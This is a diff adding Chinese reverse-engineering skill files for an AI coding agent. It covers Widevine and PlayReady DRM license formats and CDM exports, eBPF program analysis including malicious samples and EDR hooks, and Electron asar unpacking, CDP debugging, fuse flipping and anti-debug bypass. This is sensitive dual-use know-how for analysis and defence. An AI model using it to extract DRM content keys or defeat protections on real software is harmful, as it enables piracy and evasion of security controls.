- CEK 通常还有权限策略约束(输出保护 HDCP 等)与短生命周期(密钥轮换)
|
||||
|
||||
## CENC PSSH box(ISO/IEC 23001-7,大端)
|
||||
|
||||
```
|
||||
offset 字段 说明
|
||||
0x00 size (u32) 整 box 字节数(含自身)
|
||||
0x04 'pssh' (u32) 类型(0x70 73 73 68)
|
||||
0x08 version (1B) + flags (3B) version 0 / 1
|
||||
0x0C SystemID (16B) DRM 系统 UUID
|
||||
[version=1 时] KID count (u32) + KIDs (16B×N)
|
||||
0x? DataSize (u32) 初始数据长度
|
||||
0x? Data DRM 特定初始数据(Widevine 为 WidevineCencHeader protobuf)
|
||||
```
|
||||
|
||||
### SystemID 对照表
|
||||
|
||||
| DRM | SystemID |
|
||||
|---|---|
|
||||
| Widevine | `edef8ba9-79d6-4ace-a3c8-27dcd51d21ed` |
|
||||
| PlayReady | `9a04f079-9840-4286-ab92-e65be0885f95` |
|
||||
| FairPlay | `94ce86fb-07ff-4f43-adb8-93d2fa968ca2` |
|
||||
| Common (v1) | `1077efec-c0b2-4d02-ace3-3c1e52e2fb4b` |
|
||||
|
||||
- EME keySystem 字符串:`com.widevine.alpha` / `com.microsoft.playready` / `com.apple.fairplay`
|
||||
- DASH 等价:`ContentProtection schemeIdUri="urn:uuid:EDEF8BA9-..."` + base64 `<cenc:pssh>`
|
||||
- 媒体加密方案:cenc(AES-CTR)/ cbc1(AES-CBC)/ cbcs(模式保留,样本级加密)——决定解密分析走向
|
||||
|
||||
## Widevine 消息(protobuf)
|
||||
|
||||
所有客户端-服务端消息外层为 SignedMessage,按 type 选内层 schema。
|
||||
|
||||
### SignedMessage(外层)
|
||||
|
||||
| 字段号 | 名称 | 说明 |
|
||||
|---|---|---|
|
||||
| 1 | type | 0=license request 1=license 2=error |
|
||||
| 2 | msg | 内层序列化消息(按 type 解析) |
|
||||
| 3 | signature | 签名(会话密钥/设备密钥派生) |
|
||||
| 4 | session_key | 会话密钥(RSA-OAEP 封装) |
|
||||
| 5 | remote_attestation | 远程证明 |
|
||||
|
||||
### LicenseRequest(type=0 时的内层)
|
||||
|
||||
| 字段号 | 名称 | 说明 |
|
||||
|---|---|---|
|
||||
| 1 | client_id | ClientIdentification(设备证书/指纹) |
|
||||
| 2 | content_id | ContentIdentification(oneof) |
|
||||
| 3 | type | 1=NEW 2=RENEWAL 3=RELEASE(首次获取恒 NEW) |
|
||||
| 4 | request_time | Unix 秒(客户端时钟) |
|
||||
| 6 | protocol_version | 恒 CURRENT(协议版本 21) |
|
||||
| 7 | key_control_nonce | u32 随机数(31 位),参与 CMAC 密钥派生 |
|
||||
| 8 | encrypted_client_id | 隐私模式(AES-CBC 加密的 ClientIdentification) |
|
||||
|
||||
### ClientIdentification
|
||||
|
||||
- 1=token(TOKEN_TYPE_KEYBOX 或 DEVICE_CERTIFICATE)、2=client_info(name/value 对)、3=provider_info、4=supported_protocols(含 3=SRM 等)、5=key_control_nonces(老式)
|
||||
|
||||
### ContentIdentification(oneof content_id_variant)
|
||||
|
||||
| 变体号 | 名称 | 说明 |
|
||||
|---|---|---|
|
||||
| 1 | widevine_pssh_data | WidevinePsshData:pssh_data、key_ids、content_id、protection_scheme、crypto_period_* |
|
||||
| 2 | webm_key_id | WebM(header + license_type) |
|
||||
| 3 | existing_license | 续期/释放(引用已有 license) |
|
||||
| 4 | init_data | 原始 init data(隐私/非标准 PSSH) |
|
||||
|
||||
### License(type=1 时的内层)
|
||||
|
||||
- 1=license_identification(request_id + session_id)、2=content_key_info[](每条:1=key_id、2=key_type(SW_SECURE_CRYPTO/SW_SECURE_DECODE/HW_SECURE_CRYPTO/HW_SECURE_DECODE/HW_SECURE_ALL)、3=key(CEK 密文)、4=permissions)、3=certificate、4=protection_scheme
|
||||
- key_type 等级与安全级别(L1/L3)对应——设备侧能力决定能拿到哪种 key
|
||||
|
||||
## PlayReady 许可证(SOAP/XML)
|
||||
|
||||
- 命名空间三件套:头 `http://schemas.microsoft.com/DRM/2007/03/PlayReadyHeader`;协议操作 `http://schemas.microsoft.com/DRM/2007/03/protocols`(`AcquireLicense`/`LicenseResponse`);消息包裹 `.../protocols/messages`
|
||||
- 挑战:`AcquireLicense` → `challenge` → `LA`(SignedData,Version=1 + ContentHeader 内嵌 WRMHEADER)
|
||||
- 响应:`Response` → `LicenseResponse` → 加密 `License` blob(base64)
|
||||
|
||||
### WRMHEADER(PlayReady 头,version 属性 4.0.0.0+)
|
||||
|
||||
```xml
|
||||
<WRMHEADER xmlns="http://schemas.microsoft.com/DRM/2007/03/PlayReadyHeader" version="4.0.0.0">
|
||||
<DATA>
|
||||
<PROTECTINFO><KEYLEN>16</KEYLEN><ALGID>AESCTR</ALGID></PROTECTINFO>
|
||||
<KID>base64-KID</KID> <!-- 4.1+ 为 VALUE/ALGID/CHECKSUM 属性形式 -->
|
||||
<CHECKSUM>base64-checksum</CHECKSUM>
|
||||
<LA_URL>https://.../rightsmanager.asmx</LA_URL>
|
||||
</DATA>
|
||||
</WRMHEADER>
|
||||
```
|
||||
|
||||
- KID 是公开的密钥标识 GUID(小端字节序 base64);CHECKSUM 防 KID/密钥错配
|
||||
- 服务端按 KID 查/派生内容密钥(key seed + KID 派生算法)
|
||||
- FairPlay(Apple 侧):SPC(Server Playback Context,设备证书+会话)→ CKC(Content Key Context,含 CEK 密文)——由 [[re-ios]] 域延伸
|
||||
|
||||
## CDM 导出函数(libwidevinecdm.so,C ABI)
|
||||
|
||||
| 导出 | 作用 |
|
||||
|---|---|
|
||||
| Initialize | 初始化 CDM 实例(allow_distinctive_identifier / allow_persistent_state 等标志) |
|
||||
| CreateSession | 建会话(session_type + init_data_type + init_data),产出挑战 |
|
||||
| UpdateSession | 喂许可证响应(服务端返回的 license 消息) |
|
||||
| CloseSession / RemoveSession | 关会话 / 删持久会话 |
|
||||
| Decrypt | 解密样本(InputBuffer → 明文;无密钥返回 kNoKey) |
|
||||
| SetServerCertificate | 设置服务端证书(隐私模式/会话密钥封装) |
|
||||
|
||||
- 静态分析入口:导出函数 → 交叉引用到密钥加载/解密路径
|
||||
- 接口带版本号(ContentDecryptionModule_7/8/11),同一导出名不同版本行为有差异
|
||||
|
||||
## 版本差异要点
|
||||
|
||||
- PSSH version 0(老)vs 1(新,带 KID 列表)——解析先读 version
|
||||
- Widevine 协议版本 CURRENT=21(字段号稳定,但服务端可能拒绝旧协议)
|
||||
- PlayReady WRMHEADER:4.0 的 KID 元素 → 4.1+ 的 VALUE/ALGID/CHECKSUM 属性形式
|
||||
- CDM 每季度更新:分析方法跨版本复用,密钥/偏移/签名不跨版本复用
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 所有动态步骤在受控环境内([[re-analyze/platform-tips]] 最高原则);密钥材料不进报告
|
||||
- 与 [[re-protocol]](协议结构)、[[re-crypto-id]](算法识别)、[[re-netcap]](抓包)配合使用
|
||||
119
vendor-new/rev-skills/.claude/skills/re-ebpf/SKILL.md
Normal file
119
vendor-new/rev-skills/.claude/skills/re-ebpf/SKILL.md
Normal file
@@ -0,0 +1,119 @@
|
||||
---
|
||||
name: re-ebpf
|
||||
description: >
|
||||
eBPF 程序逆向与对抗分析:BPF-64 指令集、progs/maps 关联、bpftool 反汇编、跟踪取证/恶意样本/EDR 对抗三用途。
|
||||
触发词:eBPF、BPF、bpftool、bcc、libbpf、xlated、BPF 指令、bpf hook、EDR 对抗、tracepoint、kprobe。
|
||||
capabilities: [ebpf-analysis]
|
||||
---
|
||||
|
||||
# eBPF 程序逆向与对抗分析(BPF-64、progs/maps、xlated)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:BPF-64 指令集(8 字节定长指令、r0-r10 寄存器、lddw/alu32/helper 调用约定)层面的程序分析
|
||||
- 用:三种来源形态——BCC(运行期编译,多只剩内核态 prog)、libbpf(常规 BPF ELF,.maps/.BTF 齐全)、手工字节码(bpf_insn 数组/预编译 blob,无元数据)
|
||||
- 用:三用途——跟踪取证(bpftrace/bcc 程序功能还原)、恶意 eBPF(内核驻留/加载链/规避手法)、EDR 对抗(bpf hook 识别与反制)
|
||||
- 用:progs/maps 关联还原、hook 点(kprobe/tracepoint/cgroup/xdp/tc/fentry)识别、helper 调用号到内核 API 的语义映射
|
||||
- 不用:经典内核模块(.ko 驱动)——走 [[re-kernel]]
|
||||
- 不用:seccomp/套接字过滤器等传统 cBPF(经典 BPF,指令集与 BPF-64 不同,本技能不覆盖)
|
||||
- 不用:仅需分析宿主加载器二进制的通用场景([[re-binary-core]]);链上 BPF 字节码(Solana 类)语义表不同,走 [[re-blockchain]]
|
||||
- 注意:helper ID 是 Linux BPF UAPI 的稳定编号(已有 `BPF_FUNC_*` 数值不随内核版本重新编号),版本差异影响 helper 是否存在、是否允许用于特定 prog_type/context,以及内核结构布局;分析环境内核版本与样本目标版本尽量一致(见坑 3)
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。加载/运行 BPF 程序到内核需要 root(或 CAP_BPF/CAP_SYS_ADMIN);恶意样本(内核驻留/规避类)的动态分析默认在隔离虚拟机 + 快照中进行([[re-sandbox]],[[re-analyze/platform-tips]] 最高原则);仅只读查询(`prog list`/`dump xlated`)风险较低,但同样建议在可控环境核对内核版本一致性。
|
||||
|
||||
### bpftool —— 核心工具(prog/map 查询与 xlated 反汇编)
|
||||
|
||||
- Debian/Ubuntu: `apt install bpftool`(Debian bullseye 起有独立包;Ubuntu 19.10+ 亦可装 `linux-tools-common` + `linux-tools-generic`——前者只是 wrapper,真实二进制在 `linux-tools-$(uname -r)` 内核配套包里);旧版 Debian(buster 及更早)无独立包,从内核源码编译 `tools/bpf/bpftool` 或克隆 libbpf/bpftool 仓库构建
|
||||
- Fedora: `dnf install bpftool`(官方仓库);Arch: `pacman -S bpftool`
|
||||
- Windows: 无 Linux 内核 eBPF 运行环境(微软 ebpf-for-windows 为独立实现,非 Linux 内核形态),在 WSL2(Linux 内核)内按发行版安装;macOS: 无内核 eBPF 支持,用 Linux 虚拟机
|
||||
- 验证: `bpftool version`;查询类命令加 `sudo`(`bpftool prog list`、`bpftool prog dump xlated id N`、`bpftool feature probe`、`bpftool map show/dump id N`、`bpftool net show`、`bpftool btf dump file /sys/kernel/btf/vmlinux`)
|
||||
|
||||
### llvm-objdump —— 静态反汇编 BPF ELF
|
||||
|
||||
- Debian/Ubuntu: `apt install llvm`;Fedora: `dnf install llvm`;Arch: `pacman -S llvm`;macOS: `brew install llvm`(llvm-objdump 在 /opt/homebrew/opt/llvm/bin/)
|
||||
- 验证: `llvm-objdump --version`;反汇编: `llvm-objdump -d prog.o`(ELF e_machine=EM_BPF(247) 自动识别,无需指定目标);GNU objdump(binutils 2.29+ 带 bpf 目标)也可作备选
|
||||
- 注意: 静态反汇编的是源码编译产物,与内核中执行形态(xlated)有差异(见坑 2)
|
||||
|
||||
### bpftrace —— 跟踪取证还原(被分析的 bpftrace/bcc 程序还原时对照用)
|
||||
|
||||
- Debian/Ubuntu: `apt install bpftrace`;Fedora: `dnf install bpftrace`;Arch: `pacman -S bpftrace`
|
||||
- 验证: `bpftrace --version`;`bpftrace -d -e 'probe { ... }'` 输出其生成的 BPF 指令,用于对照 xlated dump 还原脚本行为
|
||||
|
||||
### pyelftools —— ELF section 定位脚本化
|
||||
|
||||
- `pip install pyelftools`(跨平台)
|
||||
- 验证: `python3 -c "import elftools; print(elftools.__version__)"`;用于批量提取 BPF ELF 的 `.text`/`.maps`/`.BTF`/`.rel*` 段
|
||||
|
||||
### Ghidra —— eBPF 处理器(10.3+ 内置)
|
||||
|
||||
- Ghidra 10.3 起官方内置 eBPF 处理器(社区 eBPF-for-Ghidra 扩展已并入上游;旧版 Ghidra 需装该扩展),支持 lddw/ALU32/JMP32/BPF_ATOMIC、bpf2bpf 相对调用、map 重定位、helper 以 syscall 形式带签名
|
||||
- Linux: 官方 release(需 JDK)或发行版包(部分仓库有 `apt install ghidra`/`pacman -S ghidra`);macOS: `brew install --cask ghidra`;Windows: 官方 zip
|
||||
- 验证: 导入 BPF ELF,语言栏应显示 eBPF:LE:64:default
|
||||
- 已知限制: eBPF 无专用栈指针寄存器,模块以 r10 充当 SP(栈深度恒 0、部分 r10 相对访问被当死代码)——反编译结果需与 xlated dump 交叉验证
|
||||
|
||||
### LIEF —— eBPF 反汇编库(批量处理)
|
||||
|
||||
- `pip install lief`(新版内置 LLVM MC 驱动的 eBPF 反汇编器,`lief.parse()` 后按 section/地址反汇编)
|
||||
- 验证: `python3 -c "import lief; print(lief.__version__)"`
|
||||
- 适合脚本化批量反汇编;无 GUI/反编译
|
||||
|
||||
### 专用逆向框架现状(边界说明)
|
||||
|
||||
- 此前设想的「bpf-gazelle 类」专用 eBPF 逆向框架:经检索(2026-08)未发现公开可用实现,本技能不依赖此类工具;当前做法为组合通用工具链(Ghidra 处理器 + bpftool xlated + llvm-objdump/LIEF),后续若出现专用框架再补充
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步结果存档;运行期查询需要 root,动态分析默认沙箱。
|
||||
|
||||
1. **定位载体**(样本是什么形态,决定后续手段):
|
||||
- **libbpf 型 BPF ELF**: `file prog.o` 显示 eBPF;`readelf -S prog.o` / `llvm-readelf -S` 查看 section——`.text` 与按 attach 点命名的 section(如 `kprobe/do_sys_openat2`、`tracepoint/syscalls/sys_enter_openat`、`xdp`、`tc`、`cgroup_skb/ingress`、`fentry/<fn>`)、`.maps`(BTF-defined map 定义)、`.BTF`(类型信息)、`.BTF.ext`(line info + CO-RE 重定位)、`.rel*`(重定位段);需要批量提取时用 pyelftools
|
||||
- **BCC 型**: 运行期由内嵌 clang 现场编译,编译产物通常不留盘——静态侧只剩加载脚本(Python/其它语言),内核侧才是成品;取证还原以 `bpftool prog dump xlated` 为主
|
||||
- **手工字节码**: bpf_insn 数组或预编译 blob,无 ELF 元数据无 BTF——只能整体反汇编(lddw 双指令、偏移字段手工解)或从内核 dump
|
||||
- **运行期定位**: `sudo bpftool prog list` 列出全部已加载 prog(id/type/name/tag/map_ids/btf_id),核对样本特征(name/tag/加载时间)
|
||||
|
||||
2. **反汇编(静态与运行期双视角)**:
|
||||
- 静态: `llvm-objdump -d prog.o` —— 编译产物,符号与注释保留,利于快速通读逻辑
|
||||
- 运行期: `sudo bpftool prog dump xlated id <id> opcodes`(追加 `linum` 显示源码行信息)——verifier 处理后的真实执行形态
|
||||
- 双份并排对比:差异点即 verifier 重写点(上下文访问改写、map 访问内联、常量折叠等,见坑 2)
|
||||
- xlated 输出格式:`序号: (opcode十六进制) 指令`,例:`0: (b7) r0 = 0`、`4: (18) r1 = map[id:2]`、`6: (85) call bpf_tail_call#12`、`7: (15) if r0 == 0x0 goto pc+18`;`opcodes` 选项在每行下附原始字节
|
||||
- 指令集要点:8 字节定长(opcode/dst:src/16 位 off/32 位 imm);r0 返回值、r1-r5 传参、r6-r9 被调用者保存、r10 帧指针只读;ALU32 用 w0-w9 寄存器(r0-r9 低 32 位,零扩展);`call`(0x85)统一编码——imm 为 helper 调用号,bpf2bpf 子程序调用则以相对偏移 + src_reg 标记区分;lddw(0x18)占两条指令(第二条存高 32 位),src_reg 区分 map 指针/map 值地址/子程序地址等用途
|
||||
|
||||
3. **progs/maps 关联还原**:
|
||||
- 运行期: `prog list` 的 map_ids 字段给出 prog 引用的 map;xlated 中 `(18) r1 = map[id:N]`(需 kallsyms 可用,见坑 3)→ `sudo bpftool map show id N`(类型/key_size/value_size/max_entries/pinning)→ `sudo bpftool map dump id N`(部分类型支持;prog_array 可枚举尾调用目标链)
|
||||
- 静态: 从 `.maps` section 的 BTF 结构还原 map 定义(type/key/value/max_entries/pinning/flags),`.rel*` 段记录 map 引用点;运行期实例与静态定义按 name/id 关联
|
||||
- 注意共享关系:多 prog 共用一个 map(内核态收集、用户态读取)是常态,还原时按 map 聚合所有引用方
|
||||
|
||||
4. **hook 点识别**:
|
||||
- ELF 侧: section 名即 attach 目标(`kprobe/xxx`、`tracepoint/syscalls/sys_enter_*`、`fentry/<函数>`——fentry 系需要 vmlinux BTF)
|
||||
- 运行期侧: prog type 定 attach 大类(KPROBE/TRACEPOINT/RAW_TRACEPOINT/XDP/SCHED_CLS/CGROUP_*/LSM/TRACING 等),具体挂点用 `sudo bpftool net show`(tc/xdp 及网卡)、`sudo bpftool cgroup show`(cgroup 系)、`sudo bpftool link show`(fentry/fexit/kprobe 链接)确认
|
||||
- prog type 同时决定 verifier 允许的 helper 白名单与 ctx 语义(如 KPROBE 的 ctx 是 pt_regs、tracepoint 的 ctx 是事件结构体)——白名单直接约束了语义还原空间
|
||||
|
||||
5. **语义还原**:
|
||||
- helper: xlated 中 `call <名称>#<调用号>`,调用号按 Linux BPF UAPI 的固定 ID 映射解析(`include/uapi/linux/bpf.h` 的 `___BPF_FUNC_MAPPER` 逐项显式编号,方法见坑 3);名称对照 bpftool 编译时表或目标内核;调用约定 r1-r5 参数、r0 返回值
|
||||
- 数据面: map 内容(收集的数据)、perf ring buffer/trace_pipe 输出(helper 写出的记录)还原程序行为闭环
|
||||
- 恶意样本重点: 加载链(加载器 ELF/脚本 + 字节码如何进内核)、持久化(pin 到 /sys/fs/bpf、配套守护进程)、规避手法(hook 目标选择、fentry 前置/后置篡改);内核语义交叉参考 [[re-kernel]]
|
||||
- 产出: 伪代码级说明(xlated 指令 → 函数语义)+ hook 点 + map 布局 + 行为结论
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-kernel]]: helper 调用号到内核 API 的语义映射、xlated 中直接访问的内核结构体布局交叉
|
||||
- [[re-tracing]]: 运行期系统调用/函数跟踪的互补视角——strace 覆盖不到的 skb/内核路径由 BPF 观测还原
|
||||
- [[re-evasion]]: EDR 对抗——识别与分析驻留的 bpf hook(fentry/kprobe/tracepoint/cgroup),对抗侧手法联动
|
||||
- [[re-sandbox]]: 加载/运行 BPF 样本强制前置(隔离 VM + 快照)
|
||||
- [[re-ghidra]]: Ghidra 内置 eBPF 处理器反编译工作流
|
||||
- [[re-format-elf]]: BPF ELF 的 section 解析底座(.maps/.BTF/.rel* 语义)
|
||||
- [[re-malware]]: 恶意 eBPF 样本的完整分析流程(本技能承担字节码还原环节)
|
||||
- [[re-blockchain]]: Solana 等链上 BPF 字节码(指令集同源、helper 表不同)
|
||||
- [[re-variant]]: 同程序多版本/补丁的指令级对比
|
||||
- 配套: [[re-binary-core]](宿主加载器通用分析)、[[re-behavior]](eBPF 驻留侧行为归纳)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **helper 集合/可用性随内核版本演进,ID 本身稳定**:现象——xlated 里 `call <名>#<号>` 的名称与手上工具显示对不上,或 bpftool 显示 `call unknown#<号>`(kptr_restrict=2 时显示 `bpf_unspec#0`);原因——helper ID 是 Linux BPF UAPI 的稳定编号,已有 `BPF_FUNC_*` 数值不随内核版本重新编号(`___BPF_FUNC_MAPPER` 逐项显式指定数值,正是为保证 backport 场景下 ID 可移植),版本差异影响的是 helper 是否存在、是否允许用于特定 prog_type/context、语义是否扩展——旧 bpftool 显示 `call unknown#N` 只是它的名称表不认识较新的 ID,不能反推 ID 漂移;名称来源两分:helper 名来自 bpftool 编译时表(与运行内核可能不同版本),`call pc+X#` 子程序名来自运行内核 kallsyms(需 bpf_jit_kallsyms=1、kptr_restrict=0,符号形如 bpf_prog_<tag>_<name>);对策——解析按 UAPI 固定 ID 映射:以 `include/uapi/linux/bpf.h` 的 `___BPF_FUNC_MAPPER` 核对 ID→名称;可调用性用 `sudo bpftool feature probe` 列出该内核实际支持的 helper(按名,分 prog type)确认;kfunc 不属于该稳定 ABI;kallsyms 关联(`/proc/sys/kernel/bpf_jit_kallsyms`=1、kptr_restrict=0)影响名称显示,ID 本身以 UAPI 为准
|
||||
- **xlated 与源码不对应(verifier 重写)**:现象——xlated 指令数/顺序/常量与 llvm-objdump 结果明显不同;原因——xlated 是 verifier 处理后的形态:上下文访问改写(如 __sk_buff 改为 sk_buff 直接偏移)、map 访问内联(helper 调用替换为直接地址加载)、helper 内联为内核实现函数(如 `__htab_map_lookup_elem`)、常量折叠、不可达代码删除;bpf2bpf 子程序显示为 `call pc+X#<子程序符号名>` 相对调用;尾调用目标不在本 prog(藏在 prog_array map 里,xlated 只见 `bpf_tail_call`);对策——以 xlated 为执行真相,静态反汇编仅作语义参考;用 `linum` 选项把源码行信息贴到 xlated 上对齐;尾调用链沿 prog_array map 的 fd 逐跳展开
|
||||
- **BTF 缺失类型盲区**:现象——手写字节码/旧工具链产物没有 `.BTF`,map 布局、结构体偏移无从解析,Ghidra 里全是裸地址;原因——BTF 是类型信息的唯一权威来源(CO-RE 重定位也依赖它);对策——从 xlated 的 ldimm64 目标与 STX/ST 指令的偏移常量反推布局;有 `.BTF` 时用 `bpftool btf dump file prog.o` 导出类型,vmlinux 侧用 `bpftool btf dump file /sys/kernel/btf/vmlinux` 对照结构体
|
||||
- **map 与 prog 分离/生命周期**:现象——只 dump prog 不 dump map,行为链条断裂;prog 卸载后未 pin 的 map 即销毁,现场不留证据;原因——map 独立于 prog 存在(可多 prog 共享、可 pin 于 /sys/fs/bpf 持久化);对策——分析现场先 `bpftool map show` + `prog list` 做全量快照,再逐 map dump;取证前把 pin 目录 /sys/fs/bpf 完整归档
|
||||
- **无符号库函数匹配**:现象——剥离符号的加载器/字节码 blob 里,自实现的字符串/哈希/编码逻辑无任何符号可打;原因——BPF 程序无动态链接,所有逻辑内联在 prog 内;对策——按常量模式(字符串、magic 值、表基址)与行为指纹(与 helper 调用序列的组合形态)识别;对照同源加载器源码或常见模式库
|
||||
- **CO-RE 重定位陷阱**:现象——静态读 ELF 里结构体字段偏移,与目标内核实际布局不符,语义还原错误;原因——CO-RE 程序(`.BTF.ext` 带重定位记录)的字段偏移是加载时由 libbpf 按目标内核 BTF 计算的,ELF 里的偏移只是占位;对策——结合目标内核版本的 vmlinux BTF 重算偏移,或直接以 xlated(已重定位后的最终偏移)为准
|
||||
169
vendor-new/rev-skills/.claude/skills/re-electron/SKILL.md
Normal file
169
vendor-new/rev-skills/.claude/skills/re-electron/SKILL.md
Normal file
@@ -0,0 +1,169 @@
|
||||
---
|
||||
name: re-electron
|
||||
description: >
|
||||
Electron 桌面应用逆向:asar 解包、主/渲染进程 JS、V8 字节码(.jsc)边界、CDP 动态调试、反调试对抗。
|
||||
触发词:Electron、asar、桌面应用逆向、.jsc、V8 快照、CDP、ELECTRON_RUN_AS_NODE、devtools 检测。
|
||||
capabilities: [electron-analysis]
|
||||
---
|
||||
|
||||
# Electron 桌面应用逆向(asar / CDP / .jsc)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:Electron 打包桌面应用——`resources/app.asar` 结构、主/渲染进程 JS 逻辑还原、原生 `.node` 模块、密钥/通信逻辑提取
|
||||
- 用:V8 字节码 `.jsc` 文件(bytenode 类工具编译产物)的识别与边界判断
|
||||
- 用:动态调试——主进程 `--inspect`、渲染进程 `--remote-debugging-port`(CDP)、`ELECTRON_RUN_AS_NODE` 以 Node 模式复用运行时
|
||||
- 用:反调试对抗——devtools / inspect 检测识别与绕过(联动 [[re-evasion]])
|
||||
- 不用:纯浏览器扩展(走 [[re-browser-ext]])
|
||||
- 不用:脱离 Electron 场景的混淆 JS/脚本(走 [[re-script-deob]] / [[re-deobfuscate]])
|
||||
- 不用:`.jsc` 出现在 Cocos 游戏资源场景(那是 Cocos 引擎字节码,走 [[re-game]];本技能只管 Electron 的 V8 字节码)
|
||||
- 不用:仅需通用二进制初勘([[re-binary-core]] 通用底座;本技能只补 Electron 打包层语义)
|
||||
- 注意:**动态执行默认沙箱([[re-analyze/platform-tips]] 最高原则)**——跑应用、连 CDP、加载 `.jsc` 均按动态处理,静态解包可免沙箱
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。静态解包可免沙箱;运行应用 / 动态调试默认沙箱 + 网络隔离([[re-analyze/platform-tips]] 最高原则)。Electron 应用多为跨平台打包,工具链以 npm 生态为主、跨 OS 一致。
|
||||
|
||||
### Node.js + npm —— 工具底座(asar / CDP 客户端 / bytenode / fuses)
|
||||
|
||||
- Linux: 发行版包 `apt install nodejs npm`(Debian/Ubuntu 仓库版本偏旧,V8 版本锁场景用 NodeSource 或 nvm 装新版);macOS: `brew install node`;Windows: 官方安装器或 `choco install nodejs`;跨平台: nvm(`nvm install <version>`)按需切换 Node 版本
|
||||
- 验证: `node --version && npm --version`
|
||||
- nvm: 官方安装脚本(GitHub nvm-sh/nvm);Windows 用 nvm-windows 或官方安装器
|
||||
|
||||
### @electron/asar —— asar 归档解包(现维护的官方包)
|
||||
|
||||
- `npm install -g @electron/asar` 或免安装 `npx @electron/asar ...`(npx 首次自动下载;旧包名 `asar` 已弃用但 CLI 兼容仍可用)
|
||||
- 验证: `npx @electron/asar --help`(应列出 `pack / list / extract-file / extract` 子命令)
|
||||
- 用法: `npx @electron/asar extract app.asar out/`(整包解出)、`npx @electron/asar list app.asar`(列目录)、`npx @electron/asar extract-file app.asar path/to/file`(单文件)
|
||||
- 免工具直读:asar 头部内嵌 JSON 目录(`{"files":{...}}`,每文件含 `size`/`offset`/`integrity`),JSON 字符串自偏移 16 起(前 12 字节为 pickle 嵌套大小字段,offset 12 为头字符串长度,均 uint32 LE)——`strings app.asar | grep '"files"'` 或小脚本 `JSON.parse` 定位,无需任何工具
|
||||
|
||||
### strings / grep —— 文本线索
|
||||
|
||||
- Linux: binutils 自带(`apt install binutils` 等);macOS: 自带(或 `brew install binutils`);Windows: WSL 内或 Sysinternals strings
|
||||
- 验证: `strings --version`
|
||||
|
||||
### chrome-remote-interface —— CDP 客户端(动态调试主力)
|
||||
|
||||
- 项目内 `npm install chrome-remote-interface`(官方 npm 包,Chrome DevTools Protocol 客户端)
|
||||
- 验证: `node -e "require('chrome-remote-interface')"` 不报错即装好;实际连通见操作步骤 6
|
||||
- 备选: 纯 curl + Node 内置 ws,无需装包(`curl http://127.0.0.1:<port>/json/list` 拿 `webSocketDebuggerUrl` 后连 WebSocket 发 JSON-RPC)
|
||||
|
||||
### bytenode —— .jsc 编译/加载理解工具(验证与对照用)
|
||||
|
||||
- `npm install -g bytenode` 或项目内安装
|
||||
- 验证: `npx bytenode --help`(`-c` 编译、`-e/--electron` 编译为 Electron 用、`-ep/--electron-path` 指定 Electron 可执行文件)
|
||||
- 用途:用目标版本 Node/Electron 重编译对照样本 `.jsc` 的魔数与可加载性;本身不是反编译工具(见坑 1)
|
||||
- Electron 42+ 主进程场景(`electronMain`)无 CLI 对应参数,须用 API 调用形态:`require('bytenode').compileFile({ electronMain: true, filename: 'main.js' })`(与坑 1 的 `electronMain` 模式呼应)
|
||||
|
||||
### @electron/fuses —— 运行能力开关检查/翻转
|
||||
|
||||
- `npm install -g @electron/fuses`(官方包)
|
||||
- 验证: `npx @electron/fuses read --app <应用可执行文件或 .app 路径>`——输出各 fuse 状态(RunAsNode / EnableNodeCliInspectArguments / EnableEmbeddedAsarIntegrityValidation / OnlyLoadAppFromAsar 等)
|
||||
- 翻转: `npx @electron/fuses write --app <路径> RunAsNode=off EnableNodeCliInspectArguments=off`(写前先 read 评估;翻转改动二进制、破坏签名,macOS 需重新签名)
|
||||
- 免工具查看:strings 搜 fuse 哨兵串 `dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`,其后为 fuse 版本、长度与 wire 字节(`0x30`(0)=禁用、`0x31`(1)=启用、`0x72`(r)=移除)
|
||||
|
||||
### 通用反编译器 —— 原生 .node 模块
|
||||
|
||||
- Ghidra(官方 release 包,需 JDK;部分发行版仓库有 `apt install ghidra` / `pacman -S ghidra`;macOS `brew install --cask ghidra`;Windows 官方 zip;验证 `analyzeHeadless -help`)
|
||||
- IDA:商业版;Freeware 版架构支持范围以官方页面为准
|
||||
- `.node` 本质是 ELF/Mach-O/PE 动态库,导入反编译器前先用 `file`/`readelf -h` 确认架构(联动 [[re-format-elf]] / [[re-format-macho]] / [[re-format-pe]])
|
||||
|
||||
### (可选)xvfb-run —— Linux 无显示环境跑 GUI 应用
|
||||
|
||||
- Linux: `apt install xvfb` / `dnf install xvfb` / `pacman -S xvfb`
|
||||
- 验证: `xvfb-run -a node --version`;无显示服务器时 `xvfb-run -a electron .` 运行目标
|
||||
- macOS/Windows 有原生显示,无需
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步结果存档;动态执行默认沙箱。
|
||||
|
||||
1. **识别 Electron 与版本**:
|
||||
```sh
|
||||
ls resources/ # 打包应用应有 app.asar(+ app.asar.unpacked/)
|
||||
strings <可执行文件> | grep -i -E 'electron|chrome' | head
|
||||
```
|
||||
- 判定信号:`resources/app.asar` 结构、进程列表中多进程(主进程 + GPU/渲染子进程)、二进制内 Electron/Chromium 版本串
|
||||
- 版本确认:打包应用 `--version` 常无输出——可靠途径是动态阶段用 CDP 执行 `process.versions`(electron/chrome/v8/node/modules 全字段);静态只能靠二进制 strings 版本串辅助
|
||||
- Electron → Chromium/Node 对应关系查官方 electron-timelines 发布表(只列 Chromium/Node,无 V8 列);V8 版本只能运行时 `process.versions.v8` 获取
|
||||
|
||||
2. **asar 解包**:
|
||||
```sh
|
||||
npx @electron/asar list app.asar # 先看目录结构
|
||||
npx @electron/asar extract app.asar out/ # 整包解出
|
||||
npx @electron/asar extract-file app.asar package.json # 单文件快速取
|
||||
```
|
||||
- 免工具:JSON 目录自偏移 16 起,`strings app.asar | grep '"files"'` 或脚本按 size/offset 拼接即可还原全部文件
|
||||
- `app.asar.unpacked/` 目录是未打进归档的原生模块,原样在磁盘上,直接分析
|
||||
